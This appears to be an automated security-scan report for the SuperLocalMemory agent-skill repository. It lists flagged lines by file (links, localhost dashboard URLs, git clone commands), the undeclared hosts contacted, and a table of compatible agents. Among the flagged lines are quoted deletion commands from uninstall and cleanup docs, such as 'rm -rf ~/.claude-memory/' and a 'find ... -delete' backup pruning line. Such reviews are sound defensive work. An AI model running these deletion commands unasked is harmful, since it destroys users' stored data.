| [2603.14588](https://arxiv.org/abs/2603.14588) | SuperLocalMemory: Information-Geometric Foundations for Zero-LLM Enterprise Agent Memory | Fisher-information retrieval, Langevin lifecycle, sheaf contradiction detection, and the LoCoMo re - Network accessline 14
| [2603.02240](https://arxiv.org/abs/2603.02240) | SuperLocalMemory: Privacy-Preserving Multi-Agent Memory with Bayesian Trust Defense Against Memory Poisoning | Per-agent Bayesian trust scores and defence against poisoned writes | [Governa
wiki-content/Security-Company-Mode-and-Teams.md
wiki-content/Web-Access-and-Connected-Apps.md
- Network accessline 96
Web access is not database replication and not SLM-Mesh. More guides are in the repository under [docs/remote-access](https://github.com/qualixar/superlocalmemory/tree/main/docs/remote-access): connecting each host app, the architecture and
wiki-content/_Footer.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 5
Part of [Qualixar](https://qualixar.com) | Created by [Varun Pratap Bhardwaj](https://varunpratap.com) | [GitHub](https://github.com/qualixar/superlocalmemory) · [CHANGELOG](https://github.com/qualixar/superlocalmemory/blob/main/CHANGELOG.m
wiki-content/archive/Migration-from-V2.md
- Network accessline 7
> **V4.0.0 note:** V4.0.0 includes M038 (eager) and M039 (deferred) migrations that are **automatically applied at startup**; no manual `slm db migrate` is normally required for V4.0.0 itself (see [CHANGELOG](https://github.com/qualixar/sup - Network accessline 147
--- *Part of [Qualixar](https://qualixar.com) | Created by [Varun Pratap Bhardwaj](https://varunpratap.com)* - Network accessline 148
*Part of [Qualixar](https://qualixar.com) | Created by [Varun Pratap Bhardwaj](https://varunpratap.com)*
wiki-content/archive/v2/Advanced-Search.md
- Network accessline 103
Open the dashboard (usually at `http://localhost:8765` — see your status bar or run `slm status`). - Network accessline 243
[GitHub](https://github.com/qualixar/superlocalmemory) • [Issues](https://github.com/qualixar/superlocalmemory/issues) • [Wiki](https://github.com/qualixar/superlocalmemory/wiki)
wiki-content/archive/v2/Architecture-V2.5.md
- Network accessline 53
> For technical details, see our published research: https://zenodo.org/records/18709670
wiki-content/archive/v2/CLI-Cheatsheet.md
- Dangerous shell operationline 465
rm ~/.claude-memory/memory.db - Dangerous shell operationline 470
rm -rf ~/.claude-memory/ - Network accessline 507
[GitHub](https://github.com/qualixar/superlocalmemory) • [Issues](https://github.com/qualixar/superlocalmemory/issues) • [Wiki](https://github.com/qualixar/superlocalmemory/wiki)
wiki-content/archive/v2/Comparison-Deep-Dive.md
- Network accessline 36
> For the research foundation behind SuperLocalMemory's architecture, see our published paper: https://zenodo.org/records/18709670 - Network accessline 72
Performance measurements are based on peer-reviewed research. See our published paper: https://zenodo.org/records/18709670 - Access to secretsline 321
[Credential-related source omitted] - Access to secretsline 364
[Credential-related source omitted] - Network accessline 483
[GitHub](https://github.com/qualixar/superlocalmemory) • [Issues](https://github.com/qualixar/superlocalmemory/issues) • [Wiki](https://github.com/qualixar/superlocalmemory/wiki)
wiki-content/archive/v2/Configuration.md
- Dangerous shell operationline 729
rm -rf "$BACKUP_DIR" - Dangerous shell operationline 732
find ~/backups/ -name "slm-*.tar.gz" -mtime +7 -delete - Network accessline 844
[GitHub](https://github.com/qualixar/superlocalmemory) • [Issues](https://github.com/qualixar/superlocalmemory/issues) • [Wiki](https://github.com/qualixar/superlocalmemory/wiki)
wiki-content/archive/v2/FAQ.md
- Network accessline 190
python ~/.claude-memory/ui_server.py # Opens at http://localhost:8765 - Network accessline 191
# Opens at http://localhost:8765 - Network accessline 422
See [Contributing](https://github.com/qualixar/superlocalmemory/blob/main/CONTRIBUTING.md) for guidelines. Areas we need help: - Network accessline 438
[GitHub Issues](https://github.com/qualixar/superlocalmemory/issues) - Network accessline 442
[GitHub Discussions](https://github.com/qualixar/superlocalmemory/discussions) - Network accessline 446
- ⭐ [Star on GitHub](https://github.com/qualixar/superlocalmemory) - Network accessline 447
- ☕ [Buy Me a Coffee](https://buymeacoffee.com/varunpratah) - Network accessline 448
- 💸 [PayPal](https://paypal.me/varunpratapbhardwaj) - Network accessline 449
- 💖 [GitHub Sponsors](https://github.com/sponsors/varun369) - Network accessline 461
- **GitHub:** [github.com/varun369](https://github.com/varun369) - Network accessline 463
- **Support:** [Buy me a coffee](https://buymeacoffee.com/varunpratah)
wiki-content/archive/v2/Home.md
- Network accessline 3
<p align="center"> <img src="https://superlocalmemory.com/assets/logo-mark.png" alt="SuperLocalMemory" width="96"/> - Network accessline 4
<img src="https://superlocalmemory.com/assets/logo-mark.png" alt="SuperLocalMemory" width="96"/> - Network accessline 14
<p align="center"> <a href="https://superlocalmemory.com/">🌐 Official Website</a> • - Network accessline 15
<a href="https://superlocalmemory.com/">🌐 Official Website</a> • - Network accessline 16
<a href="https://github.com/qualixar/superlocalmemory">⭐ Star on GitHub</a> • - Network accessline 17
<a href="https://buymeacoffee.com/varunpratah">☕ Buy Me a Coffee</a> • - Network accessline 18
<a href="https://paypal.me/varunpratapbhardwaj">💸 PayPal</a> - Network accessline 25
 - Network accessline 65
> **Upgrade:** `npm install -g superlocalmemory@latest` > > [[Universal Architecture|Universal-Architecture]] | [[Roadmap|Roadmap]] | [Full Changelog](https://github.com/qualixar/superlocalmemory/blob/main/CHANGELOG.md) - Network accessline 67
> [[Universal Architecture|Universal-Architecture]] | [[Roadmap|Roadmap]] | [Full Changelog](https://github.com/qualixar/superlocalmemory/blob/main/CHANGELOG.md) - Network accessline 85
### 🎯 Real-Time Memory Operations  - Network accessline 86
 - Network accessline 88
### 🔍 Intelligent Search  - Network accessline 89
 - Network accessline 91
### 🕸<U+FE0F> Knowledge Graph  - Network accessline 92
 - Network accessline 94
### 💻 Simple CLI  - Network accessline 95
 - Network accessline 101
- [Installation (1 min)](https://superlocalmemory.com/assets/videos/installation-walkthrough.mp4) - Network accessline 102
- [Quick Start (2 min)](https://superlocalmemory.com/assets/videos/quick-start.mp4) - Network accessline 103
- [Dashboard Tour (2 min)](https://superlocalmemory.com/assets/videos/dashboard-tour.mp4) - Network accessline 130
| [[Python-API]] | Programmatic access | | [[Configuration]] | Customization options | | [CHANGELOG](https://github.com/qualixar/superlocalmemory/blob/main/CHANGELOG.md) | Version history and release notes | - Network accessline 132
| [CHANGELOG](https://github.com/qualixar/superlocalmemory/blob/main/CHANGELOG.md) | Version history and release notes | - Network accessline 143
| [[FAQ]] | Frequently asked questions | | [[Roadmap]] | Version history and planned features | | [Troubleshooting](https://github.com/qualixar/superlocalmemory/blob/main/docs/MCP-TROUBLESHOOTING.md) | Common issues and solutions | - Network accessline 144
| [[Roadmap]] | Version history and planned features | | [Troubleshooting](https://github.com/qualixar/superlocalmemory/blob/main/docs/MCP-TROUBLESHOOTING.md) | Common issues and solutions | | [Contributing](https://github.com/qualixar/supe - Network accessline 145
| [Troubleshooting](https://github.com/qualixar/superlocalmemory/blob/main/docs/MCP-TROUBLESHOOTING.md) | Common issues and solutions | - Network accessline 146
| [Contributing](https://github.com/qualixar/superlocalmemory/blob/main/CONTRIBUTING.md) | How to contribute | - Network accessline 147
| [Issues](https://github.com/qualixar/superlocalmemory/issues) | Report bugs or request features | - Network accessline 195
# Mac/Linux git clone https://github.com/qualixar/superlocalmemory.git - Network accessline 196
git clone https://github.com/qualixar/superlocalmemory.git - Network accessline 199
# Windows git clone https://github.com/qualixar/superlocalmemory.git - Network accessline 200
git clone https://github.com/qualixar/superlocalmemory.git - Network accessline 215
|----------|--------|----------------| | **PageIndex** | VectifyAI (Zhang et al., Sep 2025) | Hierarchical memory indexing | | **GraphRAG** | Microsoft (Edge et al., 2024, [arXiv:2404.16130](https://arxiv.org/abs/2404.16130)) | Knowledge gr - Network accessline 216
| **PageIndex** | VectifyAI (Zhang et al., Sep 2025) | Hierarchical memory indexing | | **GraphRAG** | Microsoft (Edge et al., 2024, [arXiv:2404.16130](https://arxiv.org/abs/2404.16130)) | Knowledge graph clustering | | **MemoryBank** | Zho - Network accessline 217
| **GraphRAG** | Microsoft (Edge et al., 2024, [arXiv:2404.16130](https://arxiv.org/abs/2404.16130)) | Knowledge graph clustering | - Network accessline 218
| **MemoryBank** | Zhong et al., AAAI 2024 ([arXiv:2305.10250](https://arxiv.org/abs/2305.10250)) | Long-term memory for LLM agents | - Network accessline 219
| **MACLA** | Forouzandeh et al., Dec 2025 ([arXiv:2512.18950](https://arxiv.org/abs/2512.18950)) | Multi-agent collaborative learning | - Network accessline 220
| **Hindsight** | Latimer et al., Dec 2025 ([arXiv:2512.12818](https://arxiv.org/abs/2512.12818)) | Retrospective identity pattern learning | - Network accessline 221
| **A-RAG** | [arXiv:2602.03442](https://arxiv.org/abs/2602.03442) | Multi-level retrieval | - Network accessline 233
[](https://github.com/varun369) - Network accessline 243
- ⭐ [Star on GitHub](https://github.com/qualixar/superlocalmemory) — helps others discover it - Network accessline 244
- ☕ [Buy Me a Coffee](https://buymeacoffee.com/varunpratah) — fuel development - Network accessline 245
- 💸 [PayPal](https://paypal.me/varunpratapbhardwaj) — direct support - Network accessline 246
- 💖 [GitHub Sponsors](https://github.com/sponsors/varun369) — recurring support - Network accessline 257
**🌐 Official Website:** [superlocalmemory.com](https://superlocalmemory.com/) - Network accessline 258
**📦 NPM Package:** [npmjs.com/package/superlocalmemory](https://www.npmjs.com/package/superlocalmemory) - Network accessline 259
**📖 Documentation:** [GitHub Wiki](https://github.com/qualixar/superlocalmemory/wiki) - Network accessline 260
**💬 Support:** [GitHub Issues](https://github.com/qualixar/superlocalmemory/issues)
wiki-content/archive/v2/Installation.md
- Network accessline 21
| **macOS** | Python 3 may need: `brew install python3` | | **Linux** | Usually ready. Ubuntu/Debian: `sudo apt install python3` | | **Windows** | Download Python from [python.org](https://python.org). Check "Add to PATH" during install | - Dangerous shell operationline 22
| **Linux** | Usually ready. Ubuntu/Debian: `sudo apt install python3` | - Network accessline 23
| **Windows** | Download Python from [python.org](https://python.org). Check "Add to PATH" during install | - Network accessline 31
 - Network accessline 63
# 1. Clone the repository git clone https://github.com/qualixar/superlocalmemory.git - Network accessline 64
git clone https://github.com/qualixar/superlocalmemory.git - Network accessline 82
 - Network accessline 88
# 1. Clone the repository git clone https://github.com/qualixar/superlocalmemory.git - Network accessline 89
git clone https://github.com/qualixar/superlocalmemory.git - Network accessline 115
 - Network accessline 160
# Opens at http://localhost:8765 - Network accessline 173
🌐 Dashboard running at: http://localhost:8765 - Network accessline 232
**🌐 Official Website:** [superlocalmemory.com](https://superlocalmemory.com/) | **📦 NPM:** [npmjs.com/package/superlocalmemory](https://www.npmjs.com/package/superlocalmemory) - Dangerous shell operationline 330
rm -rf ~/.claude-memory
wiki-content/archive/v2/Knowledge-Graph-Guide.md
- Network accessline 672
[GitHub](https://github.com/qualixar/superlocalmemory) • [Issues](https://github.com/qualixar/superlocalmemory/issues) • [Wiki](https://github.com/qualixar/superlocalmemory/wiki)
wiki-content/archive/v2/LangChain-Integration.md
wiki-content/archive/v2/Learning-System.md
wiki-content/archive/v2/LlamaIndex-Integration.md
wiki-content/archive/v2/MCP-Integration.md
- Network accessline 34
 - Network accessline 75
git clone https://github.com/qualixar/superlocalmemory.git - Network accessline 318
| `switch_profile()` | Change profile | "Switch to work profile" | | `search()` | Search memories (OpenAI MCP spec) | Used by ChatGPT Connectors | | `fetch()` | Fetch memory by ID (OpenAI MCP spec) | Used by ChatGPT Connectors | - Network accessline 319
| `search()` | Search memories (OpenAI MCP spec) | Used by ChatGPT Connectors | | `fetch()` | Fetch memory by ID (OpenAI MCP spec) | Used by ChatGPT Connectors | | `backup_status()` | Auto-backup status | "What's the backup status?" | - Network accessline 320
| `fetch()` | Fetch memory by ID (OpenAI MCP spec) | Used by ChatGPT Connectors | - Network accessline 352
# Dashboard opens at http://localhost:8765 - Network accessline 358
 - Network accessline 440
[[More troubleshooting: MCP-TROUBLESHOOTING.md →]](https://github.com/qualixar/superlocalmemory/blob/main/docs/MCP-TROUBLESHOOTING.md) - Network accessline 448
**[docs/MCP-MANUAL-SETUP.md](https://github.com/qualixar/superlocalmemory/blob/main/docs/MCP-MANUAL-SETUP.md)**
wiki-content/archive/v2/Multi-Profile-Workflows.md
- Network accessline 695
[GitHub](https://github.com/qualixar/superlocalmemory) • [Issues](https://github.com/qualixar/superlocalmemory/issues) • [Wiki](https://github.com/qualixar/superlocalmemory/wiki)
wiki-content/archive/v2/Pattern-Learning-Explained.md
- Network accessline 27
> For technical details on the learning algorithms, see our published research: https://zenodo.org/records/18709670 - Network accessline 337
[GitHub](https://github.com/qualixar/superlocalmemory) • [Issues](https://github.com/qualixar/superlocalmemory/issues) • [Wiki](https://github.com/qualixar/superlocalmemory/wiki)
wiki-content/archive/v2/Performance-Benchmarks.md
- Network accessline 82
We are currently running the [LoCoMo benchmark](https://snap-research.github.io/locomo/) (Snap Research, ACL 2024) — a standardized evaluation for long-conversation memory systems with multi-hop, temporal, and adversarial question types. Re
wiki-content/archive/v2/Python-API.md
- Network accessline 754
[GitHub](https://github.com/qualixar/superlocalmemory) • [Issues](https://github.com/qualixar/superlocalmemory/issues) • [Wiki](https://github.com/qualixar/superlocalmemory/wiki)
wiki-content/archive/v2/Quick-Start-Tutorial.md
- Network accessline 7
**🌐 Official Website:** [superlocalmemory.com](https://superlocalmemory.com/) | **📦 NPM:** [npmjs.com/package/superlocalmemory](https://www.npmjs.com/package/superlocalmemory) - Network accessline 27
# Clone repository git clone https://github.com/qualixar/superlocalmemory.git - Network accessline 28
git clone https://github.com/qualixar/superlocalmemory.git - Network accessline 38
git clone https://github.com/qualixar/superlocalmemory.git - Network accessline 64
 - Network accessline 90
 - Network accessline 100
 - Network accessline 155
 - Network accessline 209
 - Network accessline 246
 - Network accessline 349
# Opens at: http://localhost:8765 - Network accessline 362
🌐 Dashboard running at: http://localhost:8765 - Network accessline 365
 - Network accessline 368
 - Network accessline 407
 - Network accessline 410
 - Network accessline 424
 - Network accessline 451
1. Open dashboard (http://localhost:8765) - Network accessline 501
- **Issues**: [GitHub Issues](https://github.com/qualixar/superlocalmemory/issues) - Network accessline 502
- **Discussions**: [GitHub Discussions](https://github.com/qualixar/superlocalmemory/discussions) - Network accessline 503
- **Wiki**: [Complete Documentation](https://github.com/qualixar/superlocalmemory/wiki) - Network accessline 515
 - Network accessline 521
 - Network accessline 529
 - Network accessline 535
 - Network accessline 543
 - Network accessline 549
 - Network accessline 562
 - Network accessline 568
 - Network accessline 576
 - Network accessline 582
 - Network accessline 590
 - Network accessline 596
 - Network accessline 609
 - Network accessline 615
 - Network accessline 629
 - Network accessline 634
 - Network accessline 637
 - Network accessline 640
 - Network accessline 643
 - Network accessline 708
[GitHub](https://github.com/qualixar/superlocalmemory) • [Issues](https://github.com/qualixar/superlocalmemory/issues) • [Wiki](https://github.com/qualixar/superlocalmemory/wiki)
wiki-content/archive/v2/README.md
- Network accessline 75
1. Go to https://github.com/qualixar/superlocalmemory/wiki - Network accessline 116
**Creator:** Varun Pratap Bhardwaj **GitHub:** https://github.com/varun369 - Network accessline 117
**GitHub:** https://github.com/varun369 - Network accessline 118
**Project:** https://github.com/qualixar/superlocalmemory
wiki-content/archive/v2/Real-Time-Event-System.md
- Network accessline 53
# Launch the dashboard python ~/.claude-memory/ui_server.py # Then open: http://localhost:8765 - Network accessline 54
python ~/.claude-memory/ui_server.py # Then open: http://localhost:8765 # Navigate to the "Live Events" tab - Network accessline 55
# Then open: http://localhost:8765 - Network accessline 66
const events = new EventSource('http://localhost:8765/events/stream'); - Network accessline 81
# Get the 10 most recent events curl http://localhost:8765/api/events?limit=10 - Network accessline 82
curl http://localhost:8765/api/events?limit=10 - Network accessline 84
# Get event statistics curl http://localhost:8765/api/events/stats - Network accessline 85
curl http://localhost:8765/api/events/stats - Network accessline 159
 - Network accessline 180
 - Network accessline 233
[GitHub](https://github.com/qualixar/superlocalmemory) • [Report Issue](https://github.com/qualixar/superlocalmemory/issues) • [Wiki](https://github.com/qualixar/superlocalmemory/wiki)
wiki-content/archive/v2/Roadmap.md
- Network accessline 26
See [CHANGELOG.md](https://github.com/qualixar/superlocalmemory/blob/main/CHANGELOG.md) for full details. - Network accessline 39
See [CHANGELOG.md](https://github.com/qualixar/superlocalmemory/blob/main/CHANGELOG.md) for full details. - Network accessline 54
See [CHANGELOG.md](https://github.com/qualixar/superlocalmemory/blob/main/CHANGELOG.md) for full details. - Network accessline 62
See [CHANGELOG.md](https://github.com/qualixar/superlocalmemory/blob/main/CHANGELOG.md) for details. - Network accessline 80
See [CHANGELOG.md](https://github.com/qualixar/superlocalmemory/blob/main/CHANGELOG.md) for full details. - Network accessline 98
> For technical details, see our published research: https://zenodo.org/records/18709670 - Network accessline 121
See [CHANGELOG.md](https://github.com/qualixar/superlocalmemory/blob/main/CHANGELOG.md) for full details. - Network accessline 132
See [CHANGELOG.md](https://github.com/qualixar/superlocalmemory/blob/main/CHANGELOG.md) for full details. - Network accessline 284
**Open an issue:** https://github.com/qualixar/superlocalmemory/issues - Network accessline 285
https://github.com/qualixar/superlocalmemory/issues - Network accessline 287
**Start a discussion:** https://github.com/qualixar/superlocalmemory/discussions - Network accessline 288
https://github.com/qualixar/superlocalmemory/discussions - Network accessline 315
**See:** [CONTRIBUTING.md](https://github.com/qualixar/superlocalmemory/blob/main/CONTRIBUTING.md) - Network accessline 371
- [Quick Start Tutorial](Quick-Start-Tutorial) - Get started - [CHANGELOG](https://github.com/qualixar/superlocalmemory/blob/main/CHANGELOG.md) - Detailed version history - Network accessline 372
- [CHANGELOG](https://github.com/qualixar/superlocalmemory/blob/main/CHANGELOG.md) - Detailed version history - Network accessline 373
- [Comparison Deep Dive](Comparison-Deep-Dive) - vs other solutions - [Why Local Matters](Why-Local-Matters) - Privacy philosophy - [CONTRIBUTING](https://github.com/qualixar/superlocalmemory/blob/main/CONTRIBUTING.md) - How to contribute - Network accessline 375
- [CONTRIBUTING](https://github.com/qualixar/superlocalmemory/blob/main/CONTRIBUTING.md) - How to contribute - Network accessline 381
Open a discussion: https://github.com/qualixar/superlocalmemory/discussions - Network accessline 388
[GitHub](https://github.com/qualixar/superlocalmemory) • [Issues](https://github.com/qualixar/superlocalmemory/issues) • [Wiki](https://github.com/qualixar/superlocalmemory/wiki)
wiki-content/archive/v2/Universal-Architecture.md
- Network accessline 11
> **[View Interactive Architecture Diagram](https://superlocalmemory.com/architecture)** — Explore all 10 layers, how they connect, and what each one does for you. - Network accessline 180
python ~/.claude-memory/ui_server.py # Opens at http://localhost:8765 - Network accessline 181
# Opens at http://localhost:8765 - Network accessline 274
[GitHub](https://github.com/qualixar/superlocalmemory) • [Report Issue](https://github.com/qualixar/superlocalmemory/issues) • [Wiki](https://github.com/qualixar/superlocalmemory/wiki)
wiki-content/archive/v2/Universal-Skills.md
- Network accessline 586
Or visit the [GitHub repository](https://github.com/qualixar/superlocalmemory/tree/main/skills).
wiki-content/archive/v2/Upgrading-to-v2.7.md
- Dangerous shell operationline 311
rm ~/.claude-memory/learning.db - Dangerous shell operationline 314
rm -rf ~/.claude-memory/src/learning/ - Dangerous shell operationline 317
rm ~/.claude-memory/requirements-learning.txt - Network accessline 389
[GitHub](https://github.com/qualixar/superlocalmemory) | [Issues](https://github.com/qualixar/superlocalmemory/issues) | [Wiki](https://github.com/qualixar/superlocalmemory/wiki)
wiki-content/archive/v2/Using-Interactive-Graph.md
- Network accessline 7
SuperLocalMemory's **Interactive Knowledge Graph** visualizes relationships between your memories using [Cytoscape.js](https://js.cytoscape.org/), the same library powering Obsidian's advanced graph plugins. - Network accessline 13
1. **Open Dashboard**: Run `python3 ~/.claude-memory/ui_server.py` and visit http://localhost:8765 - Network accessline 69
**Method 3: From URL** - Add `?cluster_id=2` to URL → graph auto-filters on page load - Example: `http://localhost:8765?cluster_id=2` - Network accessline 71
- Example: `http://localhost:8765?cluster_id=2` - Network accessline 161
**Library:** [Cytoscape.js](https://js.cytoscape.org/) v3.30.4 - Network accessline 180
Found a bug? Have a feature request? Open an issue: https://github.com/qualixar/superlocalmemory/issues - Network accessline 181
https://github.com/qualixar/superlocalmemory/issues
wiki-content/archive/v2/Visualization-Dashboard.md
- Network accessline 15
https://superlocalmemory.com/assets/videos/dashboard-tour.mp4 - Network accessline 63
# Dashboard opens at: http://localhost:8765 - Network accessline 76
🌐 Dashboard running at: http://localhost:8765 - Network accessline 152
 - Network accessline 158
 - Network accessline 164
 - Network accessline 265
 - Network accessline 271
 - Network accessline 277
 - Network accessline 389
 - Network accessline 395
 - Network accessline 401
 - Network accessline 495
 - Network accessline 501
 - Network accessline 507
 - Network accessline 889
 - Network accessline 893
 - Network accessline 897
 - Network accessline 901
 - Network accessline 905
 - Network accessline 909
 - Network accessline 915
 - Network accessline 919
 - Network accessline 925
 - Network accessline 931
 - Network accessline 935
 - Network accessline 939
 - Network accessline 945
 - Network accessline 949
 - Network accessline 953
 - Network accessline 957
 - Network accessline 961
 - Network accessline 967
 - Network accessline 971
 - Network accessline 975
 - Network accessline 979
 - Network accessline 1116
python ~/.claude-memory/ui_server.py # http://localhost:8765 - Network accessline 1117
# http://localhost:8765 - Network accessline 1131
[GitHub](https://github.com/qualixar/superlocalmemory) • [Report Issue](https://github.com/qualixar/superlocalmemory/issues) • [Wiki](https://github.com/qualixar/superlocalmemory/wiki)
wiki-content/archive/v2/Why-Local-Matters.md
- Dangerous shell operationline 123
1. ✅ **Right to be forgotten:** `rm -rf ~/.claude-memory/` - done - Access to secretsline 403
[Credential-related source omitted] - Access to secretsline 406
[Credential-related source omitted] - Network accessline 506
git clone https://github.com/qualixar/superlocalmemory.git - Network accessline 622
[GitHub](https://github.com/qualixar/superlocalmemory) • [Issues](https://github.com/qualixar/superlocalmemory/issues) • [Wiki](https://github.com/qualixar/superlocalmemory/wiki)
wiki-content/images/slm-architecture.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1600 1640" width="1600" height="1640" role="img" aria-labelledby="t d">
How the signals fit together
Facts from a static read of the files at the pinned commit. They describe what the code does, not why.
Some files could not be read; the facts below still hold.
Declared and executed: 4 facts
- Contacts huggingface.co, which SKILL.md, the README and the plugin manifest do not mentionbenchmarks/embedder_compare/fetch_data.sh:48High confidence
- Contacts python.org, which SKILL.md, the README and the plugin manifest do not mentionbin/slm:57High confidence
- Contacts python.org, which SKILL.md, the README and the plugin manifest do not mentionbin/slm.bat:52High confidence
- Contacts download.pytorch.org, which SKILL.md, the README and the plugin manifest do not mentioncopilot-plugin/scripts/torch-cpu-resolve.sh:26High confidence
Signal confidence: 496 facts
- Network access in prose of documentationATTRIBUTION.md:9Low confidence
- Network access in prose of documentationATTRIBUTION.md:10Low confidence
- Network access in prose of documentationAUTHORS.md:11Low confidence
- Network access in prose of documentationAUTHORS.md:16Low confidence
- Network access in prose of documentationCHANGELOG.md:5Low confidence
- Network access in prose of documentationCHANGELOG.md:6Low confidence
- Access to secrets in prose of documentation: a variable, placeholder or call, not a stored valueCHANGELOG.md:3241Low confidence
- Access to secrets in prose of documentation: a variable, placeholder or call, not a stored valueCHANGELOG.md:3245Low confidence
- Access to secrets in prose of documentation: a variable, placeholder or call, not a stored valueCHANGELOG.md:3265Low confidence
- Network access in prose of documentationCHANGELOG.md:3505Low confidence
- Access to secrets in prose of documentation: a variable, placeholder or call, not a stored valueCHANGELOG.md:3561Low confidence
- Network access in prose of documentationCHANGELOG.md:3858Low confidence
- Network access in prose of documentationCHANGELOG.md:3859Low confidence
- Network access in prose of documentationCHANGELOG.md:3860Low confidence
- Network access in prose of documentationCHANGELOG.md:3864Low confidence
- Network access in prose of documentationCHANGELOG.md:3865Low confidence
- Network access in prose of documentationCHANGELOG.md:3866Low confidence
- Network access in prose of documentationCHANGELOG.md:3890Low confidence
- Network access in prose of documentationCHANGELOG.md:3891Low confidence
- Network access in prose of documentationCHANGELOG.md:3892Low confidence
- Network access in prose of documentationCHANGELOG.md:3893Low confidence
- Network access in prose of documentationCHANGELOG.md:3894Low confidence
- Network access in prose of documentationCHANGELOG.md:3895Low confidence
- Network access in prose of documentationCHANGELOG.md:3896Low confidence
- Network access in prose of documentationCHANGELOG.md:3897Low confidence
- Network access in prose of documentationCHANGELOG.md:3898Low confidence
- Access to secrets in prose of documentation: a variable, placeholder or call, not a stored valueCHANGELOG.md:3929Low confidence
- Access to secrets in prose of documentationCHANGELOG.md:3933Low confidence
- Access to secrets in prose of documentation: a variable, placeholder or call, not a stored valueCHANGELOG.md:4216Low confidence
- Access to secrets in prose of documentation: a variable, placeholder or call, not a stored valueCHANGELOG.md:4325Low confidence
- Access to secrets in prose of documentation: a variable, placeholder or call, not a stored valueCHANGELOG.md:4326Low confidence
- Network access in prose of documentationCHANGELOG.md:4411Low confidence
- Network access in prose of documentationCHANGELOG.md:4412Low confidence
- Network access in prose of documentationCHANGELOG.md:4413Low confidence
- Network access in prose of documentationCHANGELOG.md:5563Low confidence
- Network access in prose of documentationCHANGELOG.md:5568Low confidence
- Network access in prose of documentationCHANGELOG.md:5569Low confidence
- Network access in prose of documentationCOMMERCIAL-LICENSE.md:15Low confidence
- Network access in prose of documentationCOMMERCIAL-LICENSE.md:16Low confidence
- Network access in code of documentationCONTRIBUTING.md:88Low confidence
- Network access in code of documentationCONTRIBUTING.md:89Low confidence
- Network access in code of documentationCONTRIBUTING.md:92Low confidence
- Network access in code of documentationCONTRIBUTING.md:93Low confidence
- Network access in prose of documentationCONTRIBUTING.md:675Low confidence
- Network access in prose of documentationCONTRIBUTING.md:676Low confidence
- Network access in prose of documentationCONTRIBUTING.md:677Low confidence
- Network access in prose of documentationCONTRIBUTING.md:678Low confidence
- Network access in prose of documentationCONTRIBUTING.md:680Low confidence
- Network access in prose of documentationCONTRIBUTING.md:681Low confidence
- Network access in prose of documentationCONTRIBUTING.md:682Low confidence
and 446 more
Only the first 500 facts are listed.
Works with
| Agent | Status | Evidence | Install to |
|---|---|---|---|
| Claude Code | Native | Manifest .claude-plugin/marketplace.json | .claude/skills/<skill-name>/ |
| Codex | Native | Manifest AGENTS.md | .agents/skills/<skill-name>/ |
| Cursor | Compatible | Standard SKILL.md SKILL.md | .cursor/skills/<skill-name>/ |
| Gemini CLI | Compatible | Standard SKILL.md SKILL.md | .gemini/skills/<skill-name>/ |
| GitHub Copilot | Compatible | Standard SKILL.md SKILL.md | .github/skills/<skill-name>/ |
| OpenCode | Compatible | Standard SKILL.md SKILL.md | .opencode/skills/<skill-name>/ |
- Native The repository ships a manifest, folder or frontmatter field for this agent.
- Compatible A standard SKILL.md that this agent can read.
- Unknown No evidence either way.
Derived automatically from paths, manifests and frontmatter. Not tested on each agent.